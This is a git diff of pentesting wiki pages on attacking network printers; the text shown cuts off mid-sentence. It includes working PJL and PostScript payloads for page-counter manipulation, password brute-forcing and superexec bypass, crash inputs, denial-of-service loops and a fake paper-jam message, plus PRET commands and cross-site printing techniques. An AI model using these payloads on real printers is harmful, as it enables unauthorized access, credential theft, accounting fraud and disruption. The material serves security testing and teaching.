non-existent users** to print pages using their accounts or **manipulate **the hardware or software **counter **to be able to print more pages.\ +[**Learn how to do it here.**](accounting-bypass.md)**** ### **Scanner and Fax** -Accessing the Scanner of Fax functionalities you may be able to access other functionalities, but this all of this is vendor-dependent. -****[**Learn more here.**](scanner-and-fax.md)\*\*\*\* +Accessing the Scanner of Fax functionalities you may be able to access other functionalities, but this all of this is vendor-dependent.\ +****[**Learn more here.**](scanner-and-fax.md)**** ## **Print job access** ### **Print Job Retention** -Jobs can be **retained in memory** and be **printed** again in a **later moment from the control panel**, or using **PostScript** you can even **remotely access all the jobs that are going to be printed, download them** and print them. -[**Learn more here.**](print-job-retention.md)\*\*\*\* +Jobs can be** retained in memory** and be **printed **again in a** later moment from the control panel**, or using **PostScript **you can even **remotely access all the jobs that are going to be printed, download them** and print them.\ +[**Learn more here.**](print-job-retention.md)**** ### **Print Job Manipulation** -You can **add new content** to the pages that are printed, **change all the content** that is going to be printed or even **replace just certain letters or words.** -[**Learn how to do it here.**](print-job-manipulation.md)\*\*\*\* +You can **add new content** to the pages that are printed,** change all the content** that is going to be printed or even **replace just certain letters or words.**\ +****[**Learn how to do it here.**](print-job-manipulation.md)**** ## **Information Disclosure** ### **Memory access** -You may be able to **dump** the **NVRAM** memory and **extract sensitive** info \(like passwords\) from there. -[**Read how to do that here.**](memory-access.md)\*\*\*\* +You may be able to **dump **the **NVRAM** memory and **extract sensitive **info (like passwords) from there.\ +[**Read how to do that here.**](memory-access.md)**** ### **File system access** -You may be able to **access the file system** abusing **PJL** or **PostScript**. -[**Read how to do that here.**](file-system-access.md)\*\*\*\* +You may be able to** access the file system** abusing **PJL **or **PostScript**.\ +[**Read how to do that here.**](file-system-access.md)**** ### **Credentials Disclosure/Brute-Force** -You may be able to **disclosure the password** being using abusing **SNMP** or the **LDAP** settings or you could try to **brute-force PJL** or **PostScript**. +You may be able to** disclosure the password** being using abusing **SNMP **or the **LDAP **settings or you could try to **brute-force PJL** or **PostScript**.\ [**Read how to do that here**](credentials-disclosure-brute-force.md)**.** ## **Code Execution** ### **Buffer Overflows** -Several **buffer overflows** have been **found** already in **PJL input** and in the **LPD daemon**, and there could be more. -[**Read this for more information.**](buffer-overflows.md)\*\*\*\* +Several **buffer overflows **have been **found **already in **PJL input **and in the **LPD daemon**, and there could be more.\ +[**Read this for more information.**](buffer-overflows.md)**** ### Firmware updates -You may be able to **make the printer update the driver to a malicious one** specially crafted by you. -[**Read this for more information.**](firmware-updates.md)\*\*\*\* +You may be able to** make the printer update the driver to a malicious one** specially crafted by you.\ +[**Read this for more information.**](firmware-updates.md)**** ### **Software Packages** - printer vendors have started to introduce the **possibility to install custom software on their devices** but information is not publicly available. The feature of writing customized software which runs on printers was intended and is reserved for resellers and contractors. -[**Read more about this here.**](software-packages.md)\*\*\*\* + printer vendors have started to introduce the **possibility to install custom software on their devices **but information is not publicly available. The feature of writing customized software which runs on printers was intended and is reserved for resellers and contractors.\ +[**Read more about this here.**](software-packages.md)**** ## **Denial of service** ### **Transmission channel** -Occupying all the **connections** and **increasing** the **timeout** of the server could lead to a DoS. -[**Learn more about this here.**](transmission-channel.md)\*\*\*\* +Occupying all the **connections **and **increasing **the **timeout **of the server could lead to a DoS.\ +[**Learn more about this here.**](transmission-channel.md)**** ### **Document Processing** -You can use **PostScript** and **PJL** to perform **infinite loops**, **redefine commands** to avoid any printing, **turn off** any printing functionality or even **set the printer in offline mode**. -[**Learn more about this here.**](document-processing.md)\*\*\*\* +You can use **PostScript **and **PJL **to perform **infinite loops**, **redefine commands** to avoid any printing, **turn off** any printing functionality or even **set the printer in offline mode**.\ +[**Learn more about this here.**](document-processing.md)**** ### **Physical damage** -One could **abuse PJL** or **PostScript** to **write** in the **NVRAM** hundreds of thousands of times with the goal of **breaking the chip** or at least make the **parameters be frozen** intro the factory default ones. -[**Learn more about this here.**](physical-damage.md)\*\*\*\* - +One could **abuse PJL **or **PostScript **to **write **in the **NVRAM **hundreds of thousands of times with the goal of **breaking the chip** or at least make the **parameters be frozen** intro the factory default ones.\ +[**Learn more about this here.**](physical-damage.md)**** diff --git a/pentesting/pentesting-printers/accounting-bypass.md b/pentesting/pentesting-printers/accounting-bypass.md index 27fcfd06..35851989 100644 --- a/pentesting/pentesting-printers/accounting-bypass.md +++ b/pentesting/pentesting-printers/accounting-bypass.md @@ -1,5 +1,5 @@ --- -description: 'From http://hacking-printers.net/wiki/index.php/Accounting_bypass' +description: From http://hacking-printers.net/wiki/index.php/Accounting_bypass --- # Accounting bypass @@ -8,22 +8,22 @@ description: 'From http://hacking-printers.net/wiki/index.php/Accounting_bypass' **Printing without permission** can itself be a security risk or breach of company policy. In environments where print jobs are charged for, an inside attacker has a motivation to bypass the accounting system. Furthermore, being able to ‘print’ is a precondition for most attacks against network printers. -There are two major approaches when it comes to print job accounting: Either **let the printer handle it directly or use a print server in between**. The first approach is vendor-specific, usually involves some kind of special ‘printer driver’ and is not further discussed here. The other approach involves a separate print server – usually a software implementation like [CUPS](https://en.wikipedia.org/wiki/CUPS) or [LPRng](https://en.wikipedia.org/wiki/LPRng) – to handle the accounting and is quite common in companies and institutions. The print server may speak LPD, IPP or further printing protocols and forwards jobs to the actual printer. **It is important to note that direct network access to the printer must be restricted**, otherwise an attacker can **easily bypass the print server** and its accounting mechanisms. This means filtering access to typical and atypical ports \(LPD, IPP, raw, HTTP, SMB, FTP, SNMP\). +There are two major approaches when it comes to print job accounting: Either **let the printer handle it directly or use a print server in between**. The first approach is vendor-specific, usually involves some kind of special ‘printer driver’ and is not further discussed here. The other approach involves a separate print server – usually a software implementation like [CUPS](https://en.wikipedia.org/wiki/CUPS) or [LPRng](https://en.wikipedia.org/wiki/LPRng) – to handle the accounting and is quite common in companies and institutions. The print server may speak LPD, IPP or further printing protocols and forwards jobs to the actual printer. **It is important to note that direct network access to the printer must be restricted**, otherwise an attacker can **easily bypass the print server** and its accounting mechanisms. This means filtering access to typical and atypical ports (LPD, IPP, raw, HTTP, SMB, FTP, SNMP). -There are basically two approaches to circumvent the print job accounting systems: either **impersonate another user or manipulate the counter** of printed pages. In the following both options are discussed for LPRng \(v3.8.B\) and CUPS \(v2.1.4\) installations which are popular open-source printing systems used in academic and corporate environments. A comparison of the security features of both systems is given below. +There are basically two approaches to circumvent the print job accounting systems: either **impersonate another user or manipulate the counter** of printed pages. In the following both options are discussed for LPRng (v3.8.B) and CUPS (v2.1.4) installations which are popular open-source printing systems used in academic and corporate environments. A comparison of the security features of both systems is given below. | Printing system | Protocol | Encryption | Authentication | Page counter | -| :--- | :--- | :--- | :--- | :--- | -| **LPRng** | LPD | SSL/TLS | Kerberos, PGP | hardware | -| **CUPS** | IPP | SSL/TLS | Kerberos, HTTP | software | +| --------------- | -------- | ---------- | -------------- | ------------ | +| **LPRng** | LPD | SSL/TLS | Kerberos, PGP | hardware | +| **CUPS** | IPP | SSL/TLS | Kerberos, HTTP | software | ## Authentication bypasses -LPRng and CUPS both offer SSL based channel encryption and secure authentication schemes like [Kerberos](https://en.wikipedia.org/wiki/Kerberos_%28protocol%29), [PGP](https://en.wikipedia.org/wiki/Pretty_Good_Privacy) signed print jobs or HTTP [basic](https://en.wikipedia.org/wiki/Basic_access_authentication)/[digest](https://en.wikipedia.org/wiki/Digest_access_authentication) authentication. If **configured properly** and in case the attacker cannot access the printer directly she will be **not be able to impersonate other users**. Those security features however are **optional and rarely applied** in the real-world print servers. Instead, the **usernames given as LPD \(LPRng\) or IPP \(CUPS\) parameters are logged and accounted for** – which can be set to arbitrary values by the client side. The reasons for this is a simple cost-benefit consideration in most institutions**: Kerberos needs a special setup** on every client and **HTTP** authentication **requires** users to enter a **password** whenever they want to print something while the costs of a few unaccounted printouts are bearable. +LPRng and CUPS both offer SSL based channel encryption and secure authentication schemes like [Kerberos](https://en.wikipedia.org/wiki/Kerberos_\(protocol\)), [PGP](https://en.wikipedia.org/wiki/Pretty_Good_Privacy) signed print jobs or HTTP [basic](https://en.wikipedia.org/wiki/Basic_access_authentication)/[digest](https://en.wikipedia.org/wiki/Digest_access_authentication) authentication. If **configured properly** and in case the attacker cannot access the printer directly she will be** not be able to impersonate other users**. Those security features however are **optional and rarely applied** in the real-world print servers. Instead, the **usernames given as LPD (LPRng) or IPP (CUPS) parameters are logged and accounted for** – which can be set to arbitrary values by the client side. The reasons for this is a simple cost-benefit consideration in most institutions**: Kerberos needs a special setup** on every client and **HTTP **authentication **requires **users to enter a **password **whenever they want to print something while the costs of a few unaccounted printouts are bearable. -You can **verify proper authentication** trying to print with a **custom username** like this: +You can **verify proper authentication** trying to print with a** custom username** like this: -```text +``` lp -U nobody test.ps ``` @@ -31,9 +31,9 @@ lp -U nobody test.ps ### Hardware page counters -For correct accounting the **number of printed pages must be determined** by the printing system which is not a trivial task. The authors of **LPRng** _make the assumption that the printer has some sort of non-volatile page counter mechanism that is reliable and impervious to power on/off cycles_. Such **hardware page counters** are supported by most printers and **read** by LPRng **using PJL after** every **print** job. **HP** has even documented a feature to **write** to the **page counter** variable by setting the printer into service mode. This way, the **page counter** of the _HP LaserJet 1200, HP LaserJet 4200N_ and _HP LaserJet 4250N_ **can be manipulated** within a print job. At the end of the document to be printed and separated by the [UEL](./#uel), the counter simply has to be reset to its original value \(for example, `2342`\): +For correct accounting the **number of printed pages must be determined** by the printing system which is not a trivial task. The authors of **LPRng **_make the assumption that the printer has some sort of non-volatile page counter mechanism that is reliable and impervious to power on/off cycles_. Such **hardware page counters** are supported by most printers and **read** by LPRng **using PJL after **every **print **job. **HP **has even documented a feature to **write** to the** page counter** variable by setting the printer into service mode. This way, the** page counter** of the _HP LaserJet 1200, HP LaserJet 4200N _and_ HP LaserJet 4250N_ **can be manipulated** within a print job. At the end of the document to be printed and separated by the [UEL](./#uel), the counter simply has to be reset to its original value (for example, `2342`): -```text +``` \x1b%-12345X@PJL JOB This page was printed for free \x1b%-12345X@PJL EOJ @@ -43,12 +43,12 @@ This page was printed for free \x1b%-12345X@PJL EOJ ``` -An attacker might set a negative number of printed pages. Note that resetting the device to [Factory defaults](factory-defaults.md) also **resets the page counter to zero on some** of the tested devices. +An attacker might set a negative number of printed pages. Note that resetting the device to [Factory defaults](factory-defaults.md) also **resets the page counter to zero on some** of the tested devices.\ Lowering the page counter can also be used to **sell a printer above its price** as it can be compared to the odometer when buying a second-hand car. It is however worth emphasising that **resetting the page counter is not necessarily for malicious purposes**: It is a well-known business model to sell overpriced ink for low-cost inkjet devices and block third-party refill kits by refusing to print after a certain number of pages – to handle such unethical practices it is absolutely legitimate to reset the page counter. On older HP laserjets the `pagecount`command of [PRET](https://github.com/RUB-NDS/PRET) can be used to easily set hardware pagecounters: -```text +``` ./pret.py -q printer pjl Connection to printer established @@ -60,21 +60,20 @@ New pagecounter: 10 ### Software page counters -**CUPS** uses **software page counters** which have been implemented for all major page description languages. For PostScript, an easy way to bypass accounting is to check if the PageCount system parameter exists – which will return false when interpreted in CUPS/Ghostscript – before actually printing the document as shown below. +**CUPS **uses **software page counters** which have been implemented for all major page description languages. For PostScript, an easy way to bypass accounting is to check if the PageCount system parameter exists – which will return false when interpreted in CUPS/Ghostscript – before actually printing the document as shown below. -```text +``` currentsystemparams (PageCount) known { <@\textit{[...] code which is only executed on a printer device [...]}@> } if ``` -This way, the accounting software used by CUPS renders a different document than the printer. **CUPS only accounts for one page** – which seems to be a **hardcoded minimum** – while the **real** print job can contain **hundreds** **of pages**. Note that using the IPP ‘raw’ queue/option is mandatory, otherwise CUPS parses the code with a PostScript-to-PostScript filter \(Ghostscript's ps2write\) before it reaches the page counter. +This way, the accounting software used by CUPS renders a different document than the printer. **CUPS only accounts for one page** – which seems to be a **hardcoded minimum **– while the **real **print job can contain **hundreds** **of pages**. Note that using the IPP ‘raw’ queue/option is mandatory, otherwise CUPS parses the code with a PostScript-to-PostScript filter (Ghostscript's ps2write) before it reaches the page counter. **How to test for this attack?** -**Wrap** an arbitrary **multi-page PostScript document** in the **code above** and print. Then go to [`http://printserver:631/jobs?which_jobs=all`](http://printserver:631/jobs?which_jobs=all) and check CUPS's page counter for this print job. Note that have to establish a raw queue. This is, a queue where the filtering system is not involved and the print job goes directly to a printer. For CUPS, this is done by setting the content type to `application/vnd.cups-raw`. If your system is already configured to use the print server to be tested, simply use: +**Wrap **an arbitrary **multi-page PostScript document** in the **code above** and print. Then go to [`http://printserver:631/jobs?which_jobs=all`](http://printserver:631/jobs?which_jobs=all) and check CUPS's page counter for this print job. Note that have to establish a raw queue. This is, a queue where the filtering system is not involved and the print job goes directly to a printer. For CUPS, this is done by setting the content type to `application/vnd.cups-raw`. If your system is already configured to use the print server to be tested, simply use: -```text +``` lp -o raw test.ps ``` - diff --git a/pentesting/pentesting-printers/buffer-overflows.md b/pentesting/pentesting-printers/buffer-overflows.md index 13c2f1b5..d6fbc35d 100644 --- a/pentesting/pentesting-printers/buffer-overflows.md +++ b/pentesting/pentesting-printers/buffer-overflows.md @@ -2,9 +2,9 @@ ## PJL -Various _Lexmark_ laser printers crash when when receiving about 1.000 characters as the INQUIRE argument \(see [CVE-2010-0619](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619)\) and sending about 3.000 characters as the SET argument to the _Dell 1720n_ crashes the device: +Various_ Lexmark_ laser printers crash when when receiving about 1.000 characters as the INQUIRE argument (see [CVE-2010-0619](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619)) and sending about 3.000 characters as the SET argument to the _Dell 1720n_ crashes the device: -```text +``` @PJL INQUIRE 00000000000000000000000000000000000000000000000000000… ``` @@ -37,13 +37,12 @@ Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]" ## LPD daemon -It allows multiple user-defined vectors like _jobname, username or hostname_, which may **not be sufficiently protected. S**everal vulnerabilities related to this malfunction has been already discovered. +It allows multiple user-defined vectors like_ jobname, username or hostname_, which may **not be sufficiently protected. S**everal vulnerabilities related to this malfunction has been already discovered. -A simple **LPD fuzzer** to test for buffer overflows can be created using the `lpdtest` tool **included** in [PRET](https://github.com/RUB-NDS/PRET). The `in` argument sets all user inputs defined by the LPD protocol to a certain value \(in this case, Python output\): +A simple **LPD fuzzer** to test for buffer overflows can be created using the `lpdtest` tool **included **in [PRET](https://github.com/RUB-NDS/PRET). The `in` argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output): ```bash ./lpdtest.py printer in "`python -c 'print "x"*150'`" ``` -**You can find more information about these attacks in** [**http://hacking-printers.net/wiki/index.php/Buffer\_overflows**](http://hacking-printers.net/wiki/index.php/Buffer_overflows)\*\*\*\* - +**You can find more information about these attacks in **[**http://hacking-printers.net/wiki/index.php/Buffer_overflows**](http://hacking-printers.net/wiki/index.php/Buffer_overflows)**** diff --git a/pentesting/pentesting-printers/credentials-disclosure-brute-force.md b/pentesting/pentesting-printers/credentials-disclosure-brute-force.md index 27e7ff5a..0f627c9e 100644 --- a/pentesting/pentesting-printers/credentials-disclosure-brute-force.md +++ b/pentesting/pentesting-printers/credentials-disclosure-brute-force.md @@ -1,6 +1,6 @@ # Credentials Disclosure / Brute-Force -Printers are commonly deployed with a **default password or no initial password at all**. In both cases, end-users or administrators have to actively set a password to secure the device. +Printers are commonly deployed with a** default password or no initial password at all**. In both cases, end-users or administrators have to actively set a password to secure the device. ## Password Disclosure @@ -8,15 +8,15 @@ Printers are commonly deployed with a **default password or no initial password Ancient HP printers had a vulnerable OID that returned the password. Other vendors may have similar SNMP based issues. -```text +``` snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0 iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 … ``` ### Pass-Back -If the printer is **authorising people using an external LDAP**. If you have access to the **change this settings** \(maybe using a web console interface\) you can make the printer connects to your LDAP server and authorise any user. -Note that you could abuse this settings also to **steal the credentials the printer is using** to connect to the LDAP server. [Read here to learn more](../../windows/active-directory-methodology/ad-information-in-printers.md). +If the printer is **authorising people using an external LDAP**. If you have access to the **change this settings** (maybe using a web console interface) you can make the printer connects to your LDAP server and authorise any user.\ +Note that you could abuse this settings also to** steal the credentials the printer is using** to connect to the LDAP server. [Read here to learn more](../../windows/active-directory-methodology/ad-information-in-printers.md). ## Brute-Force @@ -26,7 +26,7 @@ PJL passwords however are vulnerable to brute-force attacks because of their lim You can use `lock` and `unlock` commands of [PRET](https://github.com/RUB-NDS/PRET) to test bruteforce: -```text +``` ./pret.py -q printer pjl Connection to printer established @@ -44,11 +44,11 @@ Disk lock: OFF ### PostScript -PostScript offers two types of passwords: The `SystemParamsPassword` is used to change print job settings like paper size, while the `StartJobPassword` is required to exit the server loop and therefore permanently alter the PostScript environment. +PostScript offers two types of passwords: The` SystemParamsPassword` is used to change print job settings like paper size, while the `StartJobPassword` is required to exit the server loop and therefore permanently alter the PostScript environment. Brute-force attacks against PostScript passwords can be performed extremely fast because the **PostScript interpreter can be programmed to literally crack itself**: -```text +``` /min 0 def /max 1000000 def statusdict begin { min 1 max @@ -56,17 +56,17 @@ statusdict begin { } stopped pop ``` -Another approach is to **bypass PostScript passwords** by resetting them with Adobe's proprietary `superexec` operator. This operator resides in the internaldict dictionary, which is ‘protected’ by a static, magic password \(`1183615869`\). Wrapping PostScript code into superexec allows an attacker to ignore various protection mechanisms of the language, which would normally raise an invalidaccess error. This can be used to set PostScript passwords without initially submitting the current password as shown below: +Another approach is to **bypass PostScript passwords** by resetting them with Adobe's proprietary `superexec` operator. This operator resides in the internaldict dictionary, which is ‘protected’ by a static, magic password (`1183615869`). Wrapping PostScript code into superexec allows an attacker to ignore various protection mechanisms of the language, which would normally raise an invalidaccess error. This can be used to set PostScript passwords without initially submitting the current password as shown below: -```text +``` { << /SystemParamsPassword (0) /StartJobPassword (0) >> setsystemparams } 1183615869 internaldict /superexec get exec ``` -The lock and unlock commands of [PRET](https://github.com/RUB-NDS/PRET) can be used to test **brute-force** attacks against numeric \(integer\) PostScript passwords or to **bypass** them with **superexec magic**: +The lock and unlock commands of [PRET](https://github.com/RUB-NDS/PRET) can be used to test **brute-force** attacks against numeric (integer) PostScript passwords or to **bypass **them with **superexec magic**: -```text +``` ./pret.py -q printer ps Connection to printer established @@ -83,5 +83,4 @@ Device unlocked with password: 0 -**More information about Password Disclosure and Brute-Force in** [**http://hacking-printers.net/wiki/index.php/Credential\_disclosure**](http://hacking-printers.net/wiki/index.php/Credential_disclosure)\*\*\*\* - +**More information about Password Disclosure and Brute-Force in **[**http://hacking-printers.net/wiki/index.php/Credential_disclosure**](http://hacking-printers.net/wiki/index.php/Credential_disclosure)**** diff --git a/pentesting/pentesting-printers/cross-site-printing.md b/pentesting/pentesting-printers/cross-site-printing.md index ee031d22..89b6b90d 100644 --- a/pentesting/pentesting-printers/cross-site-printing.md +++ b/pentesting/pentesting-printers/cross-site-printing.md @@ -6,11 +6,11 @@ description: >- # Cross-Site Printing -You can make a user send HTTP POST request to the port 9100 of several IPs trying to reach an open raw print port open. If found, the **HTTP header is either printed as plain text or discarded** based on the printer's settings. The **POST data** however can **contain** arbitrary print jobs like **PostScript** or **PJL** commands to be **interpreted**. +You can make a user send HTTP POST request to the port 9100 of several IPs trying to reach an open raw print port open. If found, the **HTTP header is either printed as plain text or discarded** based on the printer's settings. The **POST data **however can **contain **arbitrary print jobs like **PostScript **or **PJL **commands to be **interpreted**. #### Enhanced cross-site printing -You can use XMLHttpRequest \(XHR\) JavaScript objects as defined in to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that **data can only be sent to the device**, **not received** because of the same-origin policy. To **bend** the **restrictions** of the same-origin policy, you can **make** the **server** responds with a fake but **valid HTTP response** allowing CORS requests \(including `Access-Control-Allow-Origin=*` \). A schematic overview of the attack is given below: +You can use XMLHttpRequest (XHR) JavaScript objects as defined in to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that **data can only be sent to the device**, **not received** because of the same-origin policy. To **bend **the **restrictions **of the same-origin policy, you can **make **the **server **responds with a fake but **valid HTTP response **allowing CORS requests (including `Access-Control-Allow-Origin=*` ). A schematic overview of the attack is given below: ![Advanced cross-site printing with CORS spoofing](http://hacking-printers.net/wiki/images/thumb/c/ce/Cross-site-printing.png/900px-Cross-site-printing.png) @@ -41,9 +41,9 @@ x.onreadystatechange = function() { #### Limitations of cross-site printing -Note that **PCL** as page description language is **not applicable for CORS spoofing** because it only allows one **single number** to be **echoed**. **PJL likewise cannot** be used because unfortunately it prepends `@PJL ECHO` to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does **not** mean that **enhanced XSP attacks** are **limited** to **PostScript** jobs: PostScript can be used to respond with a spoofed HTTP header and **the** [**UEL** ](./#uel)**can further be invoked to switch the printer language**. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct `Content-Length` for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the `Connection: close` header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time. +Note that **PCL **as page description language is **not applicable for CORS spoofing** because it only allows one **single number **to be **echoed**. **PJL likewise cannot **be used because unfortunately it prepends `@PJL ECHO` to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does **not **mean that **enhanced XSP attacks **are **limited **to **PostScript **jobs: PostScript can be used to respond with a spoofed HTTP header and **the **[**UEL **](./#uel)**can further be invoked to switch the printer language**. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct `Content-Length` for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the `Connection: close` header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time. -**If** the printer device supports **plain** **text printing** the **HTTP request** header of the XHR is printed out as hard copy – including the `Origin` header field containing the URL that invoked the malicious JavaScript, thus making it **hard** for an attacker to **stay silent**. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however **try to first disable printing functionality** with proprietary PJL commands as proposed in [PJL jobmedia](http://hacking-printers.net/wiki/index.php/Document_processing#PJL_jobmedia) using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting they have some drawbacks beyond not providing feedback using spoofed CORS headers: +**If **the printer device supports **plain** **text printing **the **HTTP request **header of the XHR is printed out as hard copy – including the `Origin` header field containing the URL that invoked the malicious JavaScript, thus making it **hard **for an attacker to **stay silent**. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however **try to first disable printing functionality** with proprietary PJL commands as proposed in [PJL jobmedia](http://hacking-printers.net/wiki/index.php/Document_processing#PJL_jobmedia) using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting they have some drawbacks beyond not providing feedback using spoofed CORS headers: * Cross-protocol access to LPD and FTP ports is blocked by various web browsers * Parameters for direct printing over the embedded web server are model-specific @@ -51,17 +51,16 @@ Note that **PCL** as page description language is **not applicable for CORS spoo A comparison of cross-site printing channels is given in below: -| Channel | Port | No Feedback | Unsolicited printouts | Standardized | Blocked by | -| :--- | :--- | :--- | :--- | :--- | :--- | -| Raw | 9100 | - | ✔ | ✔ | - | -| Web | 80 | ✔ | - | - | - | -| IPP | 631 | ✔ | - | ✔ | - | -| LPD | 515 | ✔ | - | ✔ | FF, Ch, Op | -| FTP | 21 | ✔ | - | ✔ | FF, Ch, Op, IE | +| Channel | Port | No Feedback | Unsolicited printouts | Standardized | Blocked by | +| ------- | ---- | ----------- | --------------------- | ------------ | -------------- | +| Raw | 9100 | - | ✔ | ✔ | - | +| Web | 80 | ✔ | - | - | - | +| IPP | 631 | ✔ | - | ✔ | - | +| LPD | 515 | ✔ | - | ✔ | FF, Ch, Op | +| FTP | 21 | ✔ | - | ✔ | FF, Ch, Op, IE | -One major problem of XSP is to **find** out the **correct address** or hostname of the **printer**. Our approach is to **abuse WebRTC** which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port **9100/tcp** for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before. +One major problem of XSP is to **find **out the **correct address **or hostname of the **printer**. Our approach is to** abuse WebRTC** which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port** 9100/tcp** for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before. ### Proof-of-concept A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [hacking-printers.net/xsp/](http://hacking-printers.net/xsp/) - diff --git a/pentesting/pentesting-printers/document-processing.md b/pentesting/pentesting-printers/document-processing.md index a3f3bb99..08744e61 100644 --- a/pentesting/pentesting-printers/document-processing.md +++ b/pentesting/pentesting-printers/document-processing.md @@ -6,14 +6,14 @@ Page description languages allowing infinite loops or calculations that require ### Infinite loops -```text +``` %! {} loop ``` Using [PRET](https://github.com/RUB-NDS/PRET): -```text +``` ./pret.py -q printer ps Connection to printer established @@ -28,14 +28,14 @@ Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM! By setting `showpage` – which is used in every document to actually print the page – to do nothing at all, PostScript jobs are processed they won't print anything. -```text +``` true 0 startjob /showpage {} def ``` Using [PRET](https://github.com/RUB-NDS/PRET): -```text +``` ./pret.py -q printer ps Connection to printer established @@ -52,14 +52,14 @@ Both attacks code can also be written into Sys/Start, startup.ps or similar file Proprietary PJL commands can be used to set the older HP devices like the LaserJet 4k series into service mode and completely disable all printing functionality as shown below: -```text +``` @PJL SET SERVICEMODE=HPBOISEID @PJL DEFAULT JOBMEDIA=OFF ``` Using [PRET](https://github.com/RUB-NDS/PRET): -```text +``` ./pret.py -q printer pjl Connection to printer established @@ -70,15 +70,15 @@ Printing functionality: OFF ### Offline mode -In addition, the PJL standard defines the `OPMSG` command which ‘prompts the printer to display a specified message and go offline’ \cite{hp1997pjl}. This can be used to simulate a paper jam as shown in below: +In addition, the PJL standard defines the` OPMSG` command which ‘prompts the printer to display a specified message and go offline’ \cite{hp1997pjl}. This can be used to simulate a paper jam as shown in below: -```text +``` @PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS" ``` Using [PRET](https://github.com/RUB-NDS/PRET): -```text +``` ./pret.py -q printer pjl Connection to printer established @@ -89,5 +89,4 @@ from printing or re-connecting to the device. Press CTRL+C to abort. Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM! ``` -**Learn more about these attacks in** [**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document_processing)\*\*\*\* - +**Learn more about these attacks in **[**http://hacking-printers.net/wiki/index.php/Document_processing**](http://hacking-printers.net/wiki/index.php/Document_processing)**** diff --git a/pentesting/pentesting-printers/factory-defaults.md b/pentesting/pentesting-printers/factory-defaults.md index 19f96394..3ff30ff6 100644 --- a/pentesting/pentesting-printers/factory-defaults.md +++ b/pentesting/pentesting-printers/factory-defaults.md @@ -1,16 +1,16 @@ --- -description: 'From http://hacking-printers.net/wiki/index.php/Factory_defaults' +description: From http://hacking-printers.net/wiki/index.php/Factory_defaults --- # Factory Defaults -**Resetting** a device to factory defaults is a security-critical functionality as it **overwrites protection mechanisms** like user-set passwords. This can usually be done by pressing a **special key combination** on the printer's **control panel**. Performing such a cold reset only takes seconds and therefore is a realistic scenario for local attackers or penetration testers, who can for example sneak into the copy room at lunchtime. However, **physical access** to the device is **not always an option**. +**Resetting **a device to factory defaults is a security-critical functionality as it **overwrites protection mechanisms **like user-set passwords. This can usually be done by pressing a** special key combination** on the printer's **control panel**. Performing such a cold reset only takes seconds and therefore is a realistic scenario for local attackers or penetration testers, who can for example sneak into the copy room at lunchtime. However, **physical access** to the device is **not always an option**. #### SNMP -The Printer-MIB defines the **prtGeneralReset** Object \(**OID 1.3.6.1.2.1.43.5.1.1.3.1**\) which allows an attacker to restart the device \(powerCycleReset\(4\)\), reset the NVRAM settings \(resetToNVRAM\(5\)\) or restore factory defaults \(resetToFactoryDefaults\(6\)\) using SNMP. This feature/attack is **supported by a large variety of printers** and removes all protection mechanisms like user-set passwords for the embedded web server. While protection mechanisms can be efficiently bypassed, a practical drawback of this approach is that all **static IP address configuration will be lost**. **If no DHCP** service is available, the attacker will **not** be able to **reconnect** to the device anymore after resetting it to factory defaults. +The Printer-MIB defines the **prtGeneralReset **Object (**OID 